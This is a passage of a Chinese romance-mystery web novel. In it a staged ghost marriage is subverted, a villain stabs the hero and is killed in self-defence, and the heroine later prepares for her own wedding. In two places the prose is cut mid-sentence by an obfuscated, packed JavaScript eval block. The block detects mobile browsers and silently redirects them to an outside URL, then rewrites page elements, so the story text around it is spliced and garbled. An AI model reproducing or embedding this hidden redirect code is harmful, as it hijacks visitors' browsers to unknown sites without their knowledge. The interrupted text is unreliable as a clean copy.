我懂得,我都懂的。 早春,夜幕降临的很快,酉时,天边最后一抹亮色也消失不见。唯雨水,仍不停歇。 谢宁轩已被换上了大红婚衣,发髻重新梳理过,丰神儒雅。唯神情倦怠,行尸走肉一般,不见半点新郎该有的喜色。 我捧着灵位,候在侧殿中。这里早就装饰一新,红烛盏盏、红幡环绕。和外面陈旧荒凉的院子格格不入。 孟秋帆站在门外,不耐烦的翻着白眼。他肯定在想,有病,报仇就杀了不就行了,搞这一套,多此一举! 金权则神色安详的坐于上首的高堂尊位,右侧立着那位黑衣属下。后者总算解开了脸上的面巾,露出下巴处一道自左而右的伤疤。 是他? 我一看就意识到,这就是和陈尧昇对接过的神秘人啊。二公子派人跟踪,形容的就是这个特征。三殿下也是听闻此,才神色变化的。 亲兵,他就是金权的亲兵? 那偷信的,也是他?他就是金权提过一嘴的那个梁戈? 知道这又如何?我脑筋只稍稍转了一圈,就味同嚼蜡的停了下来。此时此刻,关注这些,又能有什么用? 谢宁轩走了进来,他的眼光落在我的面上。他是哀伤、沉默的。 只有我能看到,四目相对时那一闪而过的微光。 窗外依旧下着小雨,金权应该是病体需要,也依旧开着窗让空气对流。 我朝窗外最后看了一眼。 谢宁轩站到了蒲团前,我也该去就位了。 金权搭臂于身侧的方桌,上面正是大红卷轴,摊开来,是已经撰写好的婚书,唯欠谢宁轩的名字。 “吉时到!新人行礼!”黑衣属下扮演了司仪的角色,拉长唱词,还是熟悉的那一套玩意。“一拜天地!” 我捧着灵位,屈膝,朝蒲团上跪。身侧是同样姿势的谢宁轩。 空气在这一刻停滞。是慢动作的演绎,是暂停键被人按下。我仿佛能听到谢宁轩的心跳声,砰砰砰,充满了生命力。 双手恭敬地捧着灵位,我在这一刻松开手指。 眼看我们的膝盖就要触地,一只手朝我袭来。是谢宁轩,他一把抓过灵位,于电光火石之间,猛地朝窗外扔去。 176.礼成了 窗户大开,是金权从关我的柴房到正殿,再到这拜堂的侧殿,都开着的窗户,给了我们可趁之机。 下了一天的雨,窗外泥泞不堪,灵位“咻”的飞出窗户,直接落到雨水之中。 金权亲眼目睹,只呆坐一秒,就如弹射的炮弹,直冲窗户之处。他按住窗框,却在翻越时身子一僵。病体拖沓,他无法灵活的跳出去,救他的宝贝女儿。 黑衣属下紧随其后,惊呼一声“小姐”便扶住金权,替他翻窗。 这几个动作就发生在一分钟之内。 那我和谢宁轩在干嘛? 金权与黑衣属下离开上首高堂尊位的下一秒,谢宁轩已跃身跳起,一把抓过那卷婚书,用牙咬破手指,以血划过金宝鸯的名字、生辰八字,飞快改成我的。 我亦跟着跑上前,就见他已在下方按下血手印。他抓过我的手指,渡血给我,我得以在女方处也按下属于我的手印。 婚书已成,是我和他的。 黑衣属下跳出窗户去捡拾灵位,金权僵立在窗边,听到动静,他回头一瞧。 我和谢宁轩已执手跪下,他飞快念着“一拜天地”,我俩“咣当”就朝地上磕去。一个响头,我磕得都头晕了。 谢宁轩往起拽我,大声说着:“浅磕就行!二拜高堂!父王母妃王伯父,孩儿遥拜!事出有因,请谅解!” 他还有心情说这! 金权已经暴怒吼道:“你们在干什么!” 这次换我一把拽下谢宁轩,对着空荡荡的父母尊位又是一拜。 接下来,我二人面对面,即便在这紧张到心跳飞出仪表盘的时刻,我依然从谢宁轩眼中,看到了满满的执着坚定。 “夫妻对拜!”我和他默契的喊出来,在金权扭身往回迈的那一刻,我们已跪下叩首。 额头碰在地上,紧张的拿不准力道,两声重响后,我们的额头都红了。 礼成了。 金权冲来,余光扫到血迹染满的婚书,勃然大怒。他一把揪住谢宁轩的领子,虽然身高不及后者,威势却扑面而来。 谢宁轩镇定极了,竟还悠悠一笑,说出极为欠打的话:“抱歉。礼成,羽书已经是我的嫡妻了。” 金权扬起拳头,冲着谢宁轩的脸狠狠砸下。后者也未闪躲,硬生生挨下。旋即被打的倒下,嘴角渗出血来。 “谢宁轩!”我扑上前,“你没事吧!” 谢宁轩用手指拭掉血迹,抬眼看怒极至浑身颤抖的金权,冷静道:“伯父,抱歉,无法完成你的心愿了。晚辈对金小姐,自始至终未有男女之情,这一点您是清楚的。今日强迫,是您执念,恕晚辈不从。” 说着,他握住我的手,回眸看向我,眷恋脉脉。他轻声道:“娘子……” 我浑身一激灵。 “为夫践诺,今生今世只你一人。唯凤冠霞帔欠了娘子的……” 受刺激的不止我一个,金权面如土色,尤其黑衣下属正将灵位捧回。看着灵位上的水渍,想着化作烟云的女儿,他终是受不住,捧住腹部,一口老血喷了出来。 “将军!”黑衣男子大惊,和立马起身的谢宁轩,一左一右扶住了晕倒的金权。 “谢侍郎,你竟……”黑衣男子也怒上心头,正待破天大骂之际,谢宁轩已冷斥道:“他身子成这样了,你们还跟着他胡闹!他不顾金氏一族,你也不管养母,不怕株连了?还不赶紧扶下去,他需要休息!” 黑衣男子面容扭曲,然金权已经失掉全部意识,身子越发往下滑。他不敢再耽搁,只好背起金权,朝殿外奔去。 小小松了口气,我也被这一变故惊诧。 我料到会大大刺激金权,搞不好气的他当场拔剑削我们两个。当然,我也把他病体难撑算了进去,赌一把他情绪上来,无力行凶。 然,看着地上喷射出的血迹,我还是心有余悸。更隐隐不安,这不会,把金权气死了吧…… 谢宁轩俯身扶我起来,带着轻笑:“羽书,咱们真是心有灵犀,想到一起去了。” “你看懂我眼神了?我好怕你耽于颓败,都听不到我的暗示。” “你一说你替金小姐捧灵位,我就猜到了。”他轻轻刮下我的鼻子,“你可真是鸡贼。” “你也不差啦。”我不甘示弱的回一句,旋即又担心的问,“扔掉灵位,这是不是对金小姐也太不敬了?毕竟她,她也是无辜的。” 谢宁轩垂睫,叹息道:“无奈之举,下下之策,也的确没办法了。金权不尊重活人,我们也只能不敬死者了。愿金小姐在天之灵,莫要怪罪。” 其实我和谢宁轩都是不信鬼神之人,只是面对一片痴心、死的憋屈的金宝鸯,却也都希望,真的有死后世界,有来生,能赋予她两厢情愿的真爱。 “好在金权没有安排其他士兵,这里若是守卫森严,婚书、拜堂,肯定都完成不了。”我后怕的说。 谢宁轩朝窗外看:“应该是外面局势白热化,不得不遣所有人去防守了。差不多到时辰了,宋璃和三殿下该来了。” 我也侧耳倾听,似乎真有厮杀声隐隐传来。 “羽书,谢谢你,看到了我的痛苦与颓唐,愿意为我冒险,愿意成全我的执着。”谢宁轩扶住我的腰,深情道。 我握住手腕粉镯,轻声道:“你都是为我考虑,何须向我致谢。你说得对,未来还要相处一生,怎能在最初,就埋下裂痕与隐患。” 他莞尔一笑,梨涡隐现。又低头看看我皱皱巴巴的衣服,歉意的说:“抱歉,以这种方式让你成为了我的妻。你放心,之后八抬大轿、交杯合卺,我都会重新补上,必不会让你委屈。” 心头松弛又愉悦,我被羞赧包围。他的婚衣,那诱人的红色,仿佛也弥漫到我身上。我甚至不敢肖想拜堂之后司仪会喊出的那四个字。 谢宁轩竟看穿了,微微俯身贴近我的耳边。他幽幽问:“羽书在想什么?可是‘送入……’” “别说出来!”我慌张极了,像被班主任捉住干坏事的小男生。 然而这难得松弛、暧昧的氛围,在一个男声突兀响起的瞬间,消弭不见。 “亲热完了吗?忘了还有我这么个人了?” 是孟秋帆,正抱臂靠在门边,阴郁的盯着我们。 我呼吸一滞,心说糟了,这王八蛋怎么没滚去防守! 谢宁轩立时将我掩到身后,高叫了声:“梁戈!” 孟秋帆重重嗤了一口:“你刚把金权气晕,还指望梁戈来救你?金权妇人之仁,活该!我说的吧,就该直接杀了你俩!还搞什么冥婚,吃饱了撑的。” 说罢,他自怀中掏出一把匕首,竟就朝我二人逼来。步伐稳重、缓慢,死亡的压迫感如山洪滚滚而至。 谢宁轩唯有护着我往后退,一面厉声道:“孟秋帆,你酿成的人命官司不少,但至少你没亲手作恶,手上没沾过血,你真的要犯下杀人重罪?” 孟秋帆冷笑:“没沾过血?我在边疆立下赫赫功劳,亲手砍杀数十头颅!那时候你在干什么?养尊处优,当你的金贵少爷!偏查个案子,揪出何家小儿便是,还要咬着不放!老子功名都没了!” 怒火上头,他真的会杀了我们! 谢宁轩仍不放弃,还在周旋。“礼部只是刚收到旨意,尚未落定。你放我们走,此事我帮你去回转。” “回转什么?你骗黄毛小儿呢?圣旨以下,纵使是你,也无法改变!何况你就是始作俑者,我还能信你?” “我身为京城府丞,查案是我的职责,并非刻意针对你。你我之间没有私仇,我……” “没有私仇?笑话!”孟秋帆眼中全是怨毒,步步紧逼,“老子有今日落魄,全拜你这个混账所赐!还有这个贱女人,一样的……” “你放了她!”谢宁轩怒喝,“这不干她的事!案子是我查的,卷宗是我递交的,孟老知道的一切,也是我告知的。此事不干羽书……” “嗬,好一对情深意重的鸳鸯。”孟秋帆打断,露出嘲讽的笑,“既是郎情妾意,免得你们泉下孤单。还是我做好人,直接送你们一道去死!” 说罢,他扬起手臂就朝谢宁轩砍去。后者已有防备,伸手抓住他的胳膊,死死的抵抗着。 “羽书,快跑!”谢宁轩朝我大吼。 然而我们被孟秋帆步步紧逼,此刻已迫至高堂尊位处。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765603|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被压得后仰靠在方桌边,腰都要碾断了,根本无法抽身。 扔出灵位的窗户就在十步之遥,我眼睁睁看着,就是逃不过去。 真是傻了!刚才第一时间就该逃走! 桌子被压的直晃,桌上一对红烛砸了下来,滚到我的手边。我顺手抄起一个,猛朝孟秋帆丢去。 他正用狠劲压着谢宁轩,匕首逐渐逼近。到底是武举人,无论力量还是技巧,都不是普通人能对抗的。匕首距离谢宁轩的咽喉,已在咫尺之间。 我吓死了,幸而我准头一向不错,惊慌之下丢出的蜡烛台虽偏了些,却也砸中了他。 这年头的蜡烛都是插在蜡烛台上的,为了方便插入,烛台尖很利。 我抛出的瞬间并没有思考那么多,然老天有眼,蜡烛台砸到他耳朵之时,蜡烛被撞掉,烛台尖不偏不倚划破了他的耳朵。 孟秋帆吃痛,双手不自觉回缩,刀尖偏离的一瞬间,在烛台掉地冰冷的金属碰撞声中,谢宁轩终于捕获生机,侧头避开了生死危机。 他拉着我侧身堪堪避过匕首,就往外逃。然而耳朵轻伤,怎么可能阻止孟秋帆的杀意,只会更激怒了他。 不过逃出两步,致命追杀已来。 一阵劲风扑在我的身后。是谢宁轩余光扫到,瞳孔骤然紧缩。他用力将我猛地甩出。我本就重心不稳,这下更是直接扑向左侧的座椅,被撞得眼冒金星。 同一秒,一声微弱而又刺耳的“噗”声传入耳朵,我立时如坠冰窟。惊恐回头,灵魂都被冻住。 “谢宁轩!救命!救命啊!”我疯狂的大叫起来。 如慢动作一帧一帧放映,我亲眼看到一股鲜红的血液喷射出来。谢宁轩的身影犹如被伐倒的大树,缓缓倒了下去。 匕首埋于他的腹部。 “啊啊啊啊啊!”血气直涌入喉咙,我不受控制的尖叫出声,回身朝谢宁轩扑去。 我用手捂住他的伤口,眼泪疯狂滚落,与鲜血交织,浸染我的手掌,好像能穿进毛孔,压迫住我的心脏。我仓皇、惊骇、不知所措,像江海中一叶小舟,被狂风暴雨卷裹着。 “谢宁轩,谢宁轩!天哪,你撑住,你撑住!” 然谢宁轩的嘴唇,已渐渐失去血色。他依旧强撑着对我说:“快、快跑,羽书,快跑!” 孟秋帆却不会放过我们。他那张倾国倾城的脸,写满了偏执和仇恨,再一次阴魂不散的出现在我面前。 谢宁轩挣扎爬起,仍试图挡在我的身前。孟秋帆蹲身逼近,倏地出手,覆在我的手背上,覆在我正捂住谢宁轩伤口处的手背上。 匕首尚未拔出,他就带着森森笑意,在我震动、骇然、大惊失色中,将匕首又往深处推了推。 血液,无穷无尽的的血液肆意漫出。温热、血腥,燃烧着我的大脑。 “操你妈的!”我被眼前景象和谢宁轩愈发涣散、不受控制的呻吟刺激,眼看他再也承受不住陷入昏迷,我终是被强烈的恨意裹挟。 我伸手就朝孟秋帆俊脸扇去,哪怕这是不明智的。 我想狠狠扇烂他人模狗样的面具,我想狠狠撕破他人面兽心的伪装。 只是远远扫到他的汗毛,我手掌上的血溅去几分。雪白无暇的肌肤,在艳红浓郁的妆点下,他此刻,就如地狱走来的恶魔。 我甚至没有打到他,他已经伸手朝我的颈部扼来。呼吸瞬间被剥夺,我立时感到从咽喉下至肺部一连带火辣辣的疼。 孟秋帆得意的看着我,垂首贴近。他用悦耳的嗓音,如恶魔在低吟蛊惑:“你不是为何氏愤愤不平,怜悯同情吗?你不是质问我为何残忍对我的发妻?你不是讽刺我不是男人,没有能力吗?贱人!带着你该死的好奇心,去和地下的何氏团圆吧!” 手倏地用力,我的眼前出现无数麻点。完全是出于求生欲望,我伸手扒住他的手,使出全身力气去抠去拽,无济于事。 血腥气弥漫,我不知道是谢宁轩的血,还是自己口中溢出的血沫,我已失去判断。 两手胡乱挥舞着,我自地上疯狂的抓着找着,试图找到任何能反击的物件……呼吸愈发困难,我甚至感受不到身体还有力气…… 177.娘子 生死关头,我倏地触到某样物件,冰冷而又尖锐的触感,迟钝的在大脑里闪回。我下意识抄起,灵舟仅剩最后一丝理智,勉强分辨出那是什么。 最后的希望了。 没有神思去判断能否得手,没有余力去考虑是否合适,我抄起手边物件,使出全部的、仅剩的、最后的力气,对着孟秋帆的脖子袭去。 我握着的是粗大的尾端。眼前被黑色笼罩的上一秒,我终于看到那双美如天仙,却充斥恨意的双眸,映出愕然的可怖。 孟秋帆震惊的盯着我,双手不自觉松了。 他捂上了自己的脖子。那里,正一股一股往外喷着鲜血。 是老天有眼,让我在最后关头摸到了掉落在地的蜡烛台;是求生欲望,让我狠狠朝他的脖颈扎去。金属的尖尖与人类最娇弱的部位相撞,无论你是多么英武的勇士,这也是致命一击。 我大口咳嗽,肺部在疯狂吸收氧气,像一尾鱼。脖子、咽喉,没有一处不是剧痛。 不敢放松,不敢瘫软,我强撑着爬起,又冲去桌台上抄起另一个蜡烛台。拔掉蜡烛,我持着凶器往伏地不动的凶手处戒备踱步。 血流了一地,我已分不清是谁的血。 眼看孟秋帆不动弹了,我刚扭身要去查看谢宁轩的情况,脚腕忽地被抓住。 全身紧绷,我像被注入一管子肾上腺素,举起蜡烛台,我就朝他的胳膊扎去,狠狠扎去。 他还活着,他竟还活着! 然而,回首一瞬间,入目是孟秋帆血色双眸。他死死盯着我,难以置信、恨之入骨交织着。血液洒满了他的身体,像来自轮回界索命的恶犬,周身散发出幽森、凌厉、怨恨的光。 我毫无犹疑,使出了吃奶的劲。 金属尖扎破皮肤的声音,尖锐刺耳。 那双扭曲的美眸,只是又颤了一瞬。脚腕一松,他终是垂下手,哀哀砸在地上。随后便是头颅重重倒地,再无声息。 唯惊世骇俗的瑰丽容颜,如一副泼满红色油漆的油画,定格在画布上。 我再没有任何心思去关注他,丢下蜡烛台,我回身扑到了谢宁轩身上。他已经陷入昏迷、气息微弱。小腹、胸前的血迹印满了他的官服。 他甚至没有换身衣服,就赶来救我。 眼泪无知无觉上涌,我疯狂大叫着:“来人,来人啊!谢宁轩,谢宁轩!不要死,不要死!来人啊!” 我抱住谢宁轩的身体,拼命想把他暖热。他的怀抱,从来都是那么温暖,每每拥住我时,无论多少担忧忐忑,我都能找到最初的平静。 可现在,他的面色变得苍白,他的身体逐渐冰冷。他正在一步步走向死亡。 “谢宁轩!谢宁轩!求求你,求求你,坚持住!”我抓住他的手,蹭在自己的脸上。我祈求他不要放弃,不要离开我。 鲜血也涂满了我的脸,我挣扎着起身,往厅外跑。人呢,人呢!那么多士兵,那么多守卫呢?天哪,三殿下他们怎么还不来! 这时,院门终于发出响动,金权的黑衣属下赶了回来。 他一开门看见我的可怖模样也吓了一跳,旋即就被我抓住。我下跪求他,求他救救谢宁轩。恨我,杀了我吧,杀了我吧,别让我承受这种痛苦,我受不住,我受不住! 好在他望向厅中的一瞬,就如猎豹疾奔而去。 “谢侍郎!”他大吼着,从地上抱起奄奄一息的谢宁轩,朝外面奔去。 我跟在后面拼命的追,身上越来越重。我不知道是雨水将我的衣服变成了累赘,还是我的腿已经痉挛不听使唤。裙角在地上撕扯,我感到自己踩到了什么,无法阻止摔倒的趋势。 我狠狠摔在雨水里,感官渐渐消失,身子重得仿若千金。 震耳欲聋的喊打喊杀声传来,或许,也只是我的幻觉。 下一刻,眼前一黑,我也失去了知觉。 *** “怎么样了,义妹醒过吗?”一个遥远的声音传来。 女声响起,带着焦虑:“没有哇,哥哥,怎么回事,义妹怎么还不醒!” “受惊过度的缘故,刚经历宫中起伏,又遇到这事。姝儿,你陪王伯父好生守着。莫担忧,太医都说了,义妹需要休息。缓过劲来,她自然就能醒来了。” “多谢殿下照拂。”又有个男子也说话了,担忧地问,“谢侍郎呢,他可醒来了?” “失血过多,也仍昏迷着。太医院首亲自照看着,他会没事的。王伯父莫担心,你也陪了两天两夜,去休息休息吧。” 是三殿下兄妹和老爹,我清清楚楚听出了他们的声音。 老爹旋又叹气:“无妨,我也睡不着。哎,好端端的,怎么会发生这种事?殿下,那孟秋帆……” 寒冷的声音响起,三殿下带着怒气:“死了,真是便宜他了。” 郡主也愤愤道:“孟府造下的杀孽,他母亲还没替他偿还。他倒好,就这么便宜的死了!” “可、可我听说,”老爹有些惶恐,“是书儿、书儿……不会追究书儿责任吧?” “怎会。”三殿下放缓了语气,安抚道,“生死存亡,义妹若不反抗,死的就是她和宁轩了。也亏得义妹沉着冷静,一击就中。” “就是啊伯父,别担心!宁轩哥和义妹受伤这么重,你瞧她脖颈这深紫色,怕是半个月都褪不了!足见孟秋帆真是下了死手!该死的!”郡主咒骂一句。 手背被热气笼罩,我能感到老爹又摸了摸我的脸颊。 身体很疲倦,我想睁开眼帘,眼帘却似挂着千斤坠,怎么也睁不开。 老爹的声音再次响起,他又不安的问:“那,我听说金副将也…… 三殿下似是沉默片刻,叹息道:“我们合围后,他立于祖宗牌位前,抱着金小姐的灵位,就那么、就那么去了。” 金权,金权也死了? “也是苦命人。谁能想到,他竟然在城外的金家旧宅,挟持谢侍郎和书儿。” “金伯父是无法面对宝鸯的死……”郡主似是哭了,“怪我,都怪我!我不任性,现在不都好好的吗?金伯父就算病入膏肓,也不会犯下这等罪孽。呜呜呜呜……” 三殿下阴郁道:“执念,也是执念。其实金伯父何尝不清楚,金小姐的遭遇,哪里是宁轩和义妹的错。他只是越到生命尽头,越无法接受罢了。” 老爹也唏嘘不已。旋又朝三殿下致谢:“说来,真是要多谢殿下和宋将军了,若非你们赶去的及时,书儿和谢侍郎恐怕就……” 恐怕就?那谢宁轩,你现在到底怎么样了! 醒过来,快醒过来。谢宁轩,谢宁轩……我要看到你,我要看到你…… 我拼命对自己大吼,身体就是不肯配合,好像还悠哉如小船在湖中荡漾。 “都是宁轩一早部署妥当,让我们趁夜沿崖边爬上,才找到缺口。金权带兵多年,排兵布阵不是吹嘘,明明才一队羽林士兵,仗着一夫当关的险地,竟阻挡了那么久,险些误了性命。”三殿下声音又带了些怒气,“王伯父也无需同情怜悯了,他这么做,也实在过分!” “那,所有人都要被牵连了?挟持朝廷命官,这可是死罪啊。”老爹惶恐地问。 “宁轩是梁戈抱出来的,他下命令后,其他人也马上丢下了武器。依我看,也是愚忠,不至于死罪。我会上书替他们求情。” 哭哭啼啼的郡主听到这话,疑惑的问:“梁戈,梁戈怎么会……哥,他不是金伯父养子兼亲兵吗?我当他绝不会背叛金伯父,必得拼死抗争呢。” “也不算背叛吧。”三殿下解释道,“其实宁轩察觉金权在背后搞鬼后,去找过金权,后者不愿见他。宁轩感其用心,知道他也是一时迷惘,便写了封信交给梁戈。又把孟秋帆的恶行全盘告知。梁戈到底是正直之人,虽然碍于养父情谊,不能违背心意,但也对孟秋帆厌恶不已。这次行动中,他其实保全了义妹好几次,没让孟秋帆干那下作勾当。另一方面,他也知道,宁轩若真没命,他们所有人,包括金家老少宗族,还能有半分活路吗?金权晕倒,他就赶紧叫停反抗了。” 老爹舒口气,仍后怕的连声啧啧。 三殿下顿了顿,话锋一转:“哦,伯父,圣旨您接了吗?” 圣旨?什么圣旨? 郡主止泪,昂扬快活的答:“接到了!刚才宣召官来了!可惜义妹没醒,没听到。” 老爹的声音有些扭捏:“哎呀,哎呀,这人还没清醒,怎么赐婚圣旨都下了?” 赐婚?赐婚! 三殿下笑说:“圣上听闻宁轩孤身去救义妹,俩人共经生死,能不担心吗?太后连下几道懿旨,把整个太医院都遣来了。还是齐王叔最懂儿子心意,知道此时此刻,赐婚圣旨怕是比仙丹妙药更管用,这才请来的呀。你们看吧,有了圣旨,宁轩很快就能苏醒了。” “太好了!”郡主欢欣鼓掌,“哥哥你下月大婚,接下来就到宁轩哥啦!” 老爹却幽幽喟叹一声,似是仍难接受。 三殿下道:“伯父仍担忧门户之差?这可就是想多了,齐王叔都愿和您做儿女亲家,您还担心什么?” “嗨,不瞒殿下,前些时日,王爷突然告诉我谢侍郎心意,我真是吓了一跳,还以为书儿要做妾室了。我这等卑微身份,她若受了欺负,我都护不住她。我怎么能想到,谢侍郎竟是求她为嫡妻?如今圣旨已下,也不知她这莽撞丫头,一朝跃至二品朝臣之妻,是福是祸呐。” “伯父放心,宁轩为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774057|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人您还不清楚吗?您也算是看他长大的。再说,如今有我呢,义妹受任何委屈,我这当哥哥的,必不罢休。” “就是!”郡主也道,“还有本郡主嘛!宁轩哥敢欺负义妹,我可不答应!” “殿下,郡主……”老爹感动,语气都哽咽了。 这时,木门被突兀的推开,我听到一个陌生的声音,急急汇报:“殿下,太医院首唤您过去。” 太医院,太医院……是谢宁轩又不好了吗? 一道惊雷在脑海中炸开,我终于被劈中,每个细胞都在叫嚣呼唤下,醒了过来。 我骤然睁开双眼,听见我自己的声音,嘶哑、颤抖。 “谢、谢宁轩!” *** 谢宁轩的院中充斥着浓郁的药味,压住了血腥气。 不少太医正围着齐王爷交谈。角落中,王妃在丫鬟的搀扶下,哀哀哭泣。一旁坐着僵直的二公子,脸色惨白。 我该行礼的,看见王爷王妃,我该行礼的。 然而此刻,脑海中除了谢宁轩三个字,再无任何思绪。我跌跌撞撞冲进院子,眼中甚至看不到旁人,就朝他的房间奔去。 “书儿!” “羽书妹妹!” 似乎有人冲上来阻挡我。是三殿下替我拦下了。 “王叔,让她去吧。宁轩想见她的。哦,她伤的不重,不重,脖子是被……” 什么也入不了我的耳,我已推开房门。 厚厚的锦被中,谢宁轩安静的躺着,整个人沉进去一般。苍白的面色,如同一张在秋风中无力飘荡的白纸,融在这满屋子的药气中,那么的不真实。他的嘴唇干裂,面无血色,就连一贯生机勃勃的睫,都无力的垂着。 又如雷劈,这次是朝着我的心狠狠重击。我痛得难以抑制,眼泪翻滚。 “谢宁轩,谢宁轩……是我啊,你醒醒。”我轻轻抚上他的脸,呼唤他,“你不会有事的,对不对?你说过的,没确保我安全之前,你怎么敢死!” 鲜血横流、融汇在一起,是脖子被刺的孟秋帆,污血染着谢宁轩的身。但他,腹间喷出的鲜血,也是我无法阻挡的东流水。 眼前无可抑制出现悚然一幕,回忆是那么近。 是他拉开我,才会被刺中小腹。是他救了我,一次又一次。 “你还没有正式向我求婚,我还没有答应你。赐婚的圣旨都下了,拜堂、婚书,咱们都履行了,你怎么能舍我而去……”我悲泣着,握住他的手,搭到我的手腕上,“你母亲的粉镯,甚至不是你亲手为我带上的。谢宁轩,我求求你了,醒来吧,醒来吧……” 腕间有轻俏如羽的瘙痒,我低头一瞧,彷佛看见谢宁轩的手动了。 打了个激灵,我立马扑到他脸前,睁大了眼睛去瞧。可是谢宁轩依旧是那幅模样,并未有苏醒的迹象。 幻觉,又是我的幻觉。 心又跌回谷底,我泄力坐下,忍不住去抚摸谢宁轩的脸。自额间至鼻尖,每一处,都深深印在我的心上。这是我的爱人,我深爱着的男人。 “对不起,谢宁轩,我不该畏首畏尾、瞻前顾后。我不相信自己,也不肯给你机会。我们错过了好些时光,是不是?醒来,我都赔给你,好不好?一生一世,你说过的,我们还有一生一世啊。” 手指渐渐划至他的唇,干裂发白。 可它过去每次吮吸住我的唇舌,那触感我还历历在目。再也忍不住心里的渴望,我朝它俯去,像过去他每一次俯身吻我那样,蜻蜓点水的吻着他。 迷离、粘稠、缠绵,是他每次拉丝的眼神,恨不得将我吞下。 如今,我也这样渴望着。 我轻泣道:“谢宁轩,你还欠我个洞房花烛,你怎么赖皮呢?” “谁说我赖皮了?娘子。” 一道突兀、嘶哑的声线,幽幽绽在耳边。不及惊诧,谢宁轩已吸住了我的唇。 大脑只来及浮现“他醒了”三个字,已被他柔情蜜意的吻势征服。 他自锦被中伸出手臂,将我圈入怀里。许是疼痛牵扯着,只这个动作,他就一颤。可一丝犹豫也无,他的舌头已长驱直入,深入我的灵魂。 深山夕照深秋雨,一往情深深几许。 时间停留,我们从升腾的气温中抽出。谢宁轩的眸中布满血丝,也压不住脉脉情丝,悠悠然将我包裹。 他抚摸着我的脸,终是问出了一直盘旋在心口的话:“愿如风有信,长与日俱中。羽书,嫁给我,让我照顾你、爱护你,永远陪在你左右。羽书,嫁给我,好吗?” 眼泪再次落下,这次,是喜极而泣的。 “好,我答应你。说好的一辈子,一天一日,一个时辰,你都不能少了我的。” 178.大婚 作为御青王府二小姐,四月三殿下和林霜玉的大婚,我是实打实操持了的。那日忙忙碌碌,回家我都累瘫了。 谁能想到,原来新娘子,也并非坐着不动。今日轮到我穿上大红嫁衣,真真正正体味了一把古人的合卺之欢,竟也比想象中累多了。 天蒙蒙亮,我就坐到了梳妆台前。来来往往的人,是三殿下请来全福全美的官眷,依次为我梳头、系带、挽面,以求福气传递。 看着镜中凤冠霞帔的女子,不真实的美感,还有些难以置信。直到垂柳贴近我的脸颊,也出现在镜中。 她笑道:“小姐真是美若天仙!晚上谢尚书掀了盖头,哎呦,那真得看入迷,拜倒裙下起不来喽!” 垂云帮我簪上最后一支钗,啐道:“好了,瞎说什么呢,注意分寸!” 垂柳捂嘴哈哈笑,连郡主进门,都没注意到。这就导致床头柜放着的一本卷宗还没来及收,直接映入郡主眼帘—— “义妹!怎么回事!”郡主大叫,“我都说啦,今儿大好日子不能出现这个!” “啊?姐姐来了……” 糟糕,别人都没往内室走,怎么忘了郡主不拘小节,会坐我的床上! 我心虚不已,慌忙给垂柳递眼色,一面狡辩着,“那个,那个,没看案子,真没看!这是昨天收拾屋子拿出来的……” “对对,怪我!”垂柳忙跑过去接下卷宗,“是我大意,忘记……” 然而郡主才不信,哼一声就朝我大步迈来。“义妹!我知道你这女捕快当的如鱼得水,尽心尽力,但也不能在大婚前还查案嘛!” “是是,我错了。”我唯有点头。 谁让郡主十天前就吩咐我待字闺中,不许外出跑动,我却仍天天赶往府衙,不是泡在案发现场就是走访证人知情人,被她逮住两次……昨晚把卷宗带回来,偏偏又忘记藏起来…… 我赶忙转移话题,先来一波夸赞:“那个,姐姐,你今天的装扮真好看!这裙子是新拨的云锦做的吧,哇,还有你的发髻,好美!咦,这个祥云簪子怎么有些眼熟……” 没等我抓住莫名其妙一闪而过的灵感,郡主已叉腰数落,宣告话题转移失败。 “少来,不准卖乖!我说义妹,今天大好日子,可不能沾晦气东西,知道吗!”许是从前院一路走来,郡主的小脸都热出俏丽的红晕了。 “知道知道,我这不是……” “再说了,你都当差半年了,可以歇歇了!” 是,没错。据那场风波,已经过了八个月。我也早在半年前,就由圣上正式下旨,赴京城府衙担任衙差,成了青朝史上第一个女捕快。 一开始,坊间的舆论险些吞了我。府衙外每天都是人山人海,与其说是想一睹女捕快的风采,不如说想看热闹、想等出丑。 尤其我还被赐婚谢宁轩,更是一夜传遍朝野,据说世家小姐弹琴诗会都改成了蛐蛐大会,凑一起各种八卦与编排。 风评的转变还是因为一起案子。那时谢宁轩奉旨出京公干,所有人都想看我没了靠山,还能不能破案。 “没想到吧!她们哪里知道我义妹的厉害!”郡主自豪的很,“总以为你这恩典都是靠宁轩哥的身份争取的,殊不知在刑案勘察上,你可不比宁轩哥差!最后擒住真凶,你在府衙揭露真相,质问凶手到哑口无言,可真漂亮!外面围观百姓不都从一开始的质疑,到叹服与欢呼吗?” 垂柳傻笑道:“那是,小姐当差半年,忙的脚不沾地!抓住了诱拐少女的真凶,找到了李三失踪的儿子,寻回了宰相题的字,还揪出了羌族朝拜团队中的内鬼!现在坊间谁不知道,新来的女捕快可不是花架子,而是救命的女青……” “行了行了!”我听她吹的越发夸张,赶忙打住,“哪有你说的这么厉害,我也只是尽力而为。” “尽力?”郡主嗔道,“你半年没歇过一日吧?宁轩哥说讨你到他麾下,只做案件复核,能多少轻松些,你还不愿意。呐,今日就是大婚了,昨晚还看卷宗!” “我错了,我错了嘛。这不是大婚后一连好些天不能去府衙,这个案子还没完结,我着急嘛。” 